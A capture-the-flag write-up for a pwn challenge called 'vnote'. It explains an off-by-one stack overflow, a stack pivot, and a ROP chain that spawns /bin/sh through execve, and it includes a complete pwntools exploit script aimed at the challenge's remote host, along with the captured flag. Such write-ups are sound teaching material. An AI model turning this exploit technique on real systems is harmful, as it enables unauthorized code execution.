Vnote

off one byte overflow to stack pivot gaining ret2execve

Problem

Description

cpP enjoyer

nc 103.181.183.216 17002


Proof of Concept

discovering foothold

given compiled binary, we'll check its basic executable information and security perimeter

└─$ file vnote                                 
vnote: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=34f6eaa546749be4ccd3028456ae7dcc4ece2bf3, for GNU/Linux 3.2.0, not stripped

└─$ checksec --file=vnote 
RELRO           STACK CANARY      NX            PIE 
Partial RELRO   Canary found      NX enabled    No PIE 

next, after interacting with the binary a little bit, I immediately jump into ghidra.

judging from the syntax, I suspect this binary is written with C++. The decompiled main suggest what the binary does on a normal routine, prompting the user with a single input. Let's take a look how the program is accepting our input

aha!, here lies a single byte overflow, this happens because of the incorrect check of size < 0. But, what can we do with this? let's break on get_input() before it returns on a normal execution.

as we can observe from the stack, beneath our input exist bunch of instruction pointers. This has been made easy to notice since PIE is not enabled thankfully. Now let's us observe the stack if malicious input was given instead.

notice the one byte overflow?

before:

0x7fffffffdc60 -> 0x4c3690 (__preinit_array_start+32) -> 0x401948 (Note::print_public())

after:

0x7fffffffdc60 -> 0x4c3641

since we screamed at the program using bunch of 'A's, the last of byte of that pointer is now overwritten with 0x41 (ascii for A). We can use this to alter the program execution. However since we can only write one byte, our option is quite limited. So where should we return?

gaining foothold

Let's take a look how Note is initialized (double click on the constructor function).

It takes one parameter and set to a variable pointer to a function of print_public(). Notice we also discover another function called get_private() that's never called on a normal routine. Let's take a look what it does.

seems like it prompt the user with quite a lot of input size, this is good news since it is probable to buffer overflows. Its taking the object relative address as the destination of its buffer. Specifically the object's structure at index 2 (offset 0x10) for the larger buffer and the object's structure at index one (offset 0x8) for the smaller buffer. We can figure out what these addresses shall be if we were going to call it by taking a look back at the main function.

main() snippet
undefined8 input[4];
undefined8 this [4];

Note::Note((Note *)this);
pn = this;
/*
...
*/
pn[1] = &input;
pn[2] = private_buffer;

so the get_private() will prompt an input of size 0x200 to a private_buffer (a global variable), and an input of size 0x60 to input (local variable) thus voila, a buffer overflow and since the address of this function has only one byte difference with the existing one on the stack, this is the perfect candidate.

exploit.py
# ...some code

io = initialize()

payload = b'\x98' * 33
io.sendlineafter(b'note:', payload)

and we successfully alter the program execution

Stack pivoting and ret2execve

Since the program is compiled statically, we have a lot of gadgets at our disposal and it will be our goal to gain remote code execution. However, our buffer won't be large enough to accommodate our large payload, so we need to do a stack pivoting, essentially we'll move the stack pointer to an area where we can put a larger buffer.

Thankfully, the author has already provided this on get_private(). What we'll have to do is to put our ropchain on private_buffer and move the stack pointer there. To do this we'll use the pop rsp gadget. this works because each the rip depends on the rsp to feed instructions from. and since we alter the rsp to our controlled input, the rip will then be fed those ropchain.

exploit.py
# ...some code

private_buffer = 0x4c9320
syscall = 0x041b236
rdx_rbx = 0x048656b

offset = 72
payload = flat({
    offset: [
        rop.rsp.address,
        private_buffer,
        rop.ret.address
    ]
})

ropchain = flat([
    rop.rdi.address,
    private_buffer + 10 * 8,
    rop.rsi.address,
    0,
    rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0],
    0,
    0,
    rop.rax.address,
    0x3b,
    syscall, # syscall; ret;
    b'/bin/sh\x00',
])

io.sendlineafter(b'note:', ropchain)
io.sendlineafter(b'note:', payload)

io.interactive()

Flag

hacktoday{m1Nt4_R3k0m3nD4s1_fL4g_saM4_ch4tgPt_d14_m4Lah_b1ngunG_y4_Sud4h_L4h_1ni_4ja}


Appendix

exploit.py
#!usr/bin/python3
from pwn import *

# =========================================================
#                          SETUP                         
# =========================================================
exe = './vnote'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'debug'
host, port = '103.181.183.216', 17002

def initialize(argv=[]):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process([exe] + argv)

gdbscript = '''
init-pwndbg
break *0x000000000040193f

break *0x4019be
break *0x4019e7
'''.format(**locals())

# =========================================================
#                         EXPLOITS
# =========================================================
io = initialize()
rop = ROP(exe)

private_buffer = 0x4c9320
syscall = 0x041b236
rdx_rbx = 0x048656b

payload = b'\x98' * 33
io.sendlineafter(b'note:', payload)

offset = 72
payload = flat({
    offset: [
        rop.rsp.address,
        private_buffer,
        rop.ret.address
    ]
})

ropchain = flat([
    rop.rdi.address,
    private_buffer + 10 * 8,
    rop.rsi.address,
    0,
    rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0],
    0,
    0,
    rop.rax.address,
    0x3b,
    syscall, # syscall; ret;
    b'/bin/sh\x00',
])

io.sendlineafter(b'note:', ropchain)
io.sendlineafter(b'note:', payload)

io.interactive()

Last updated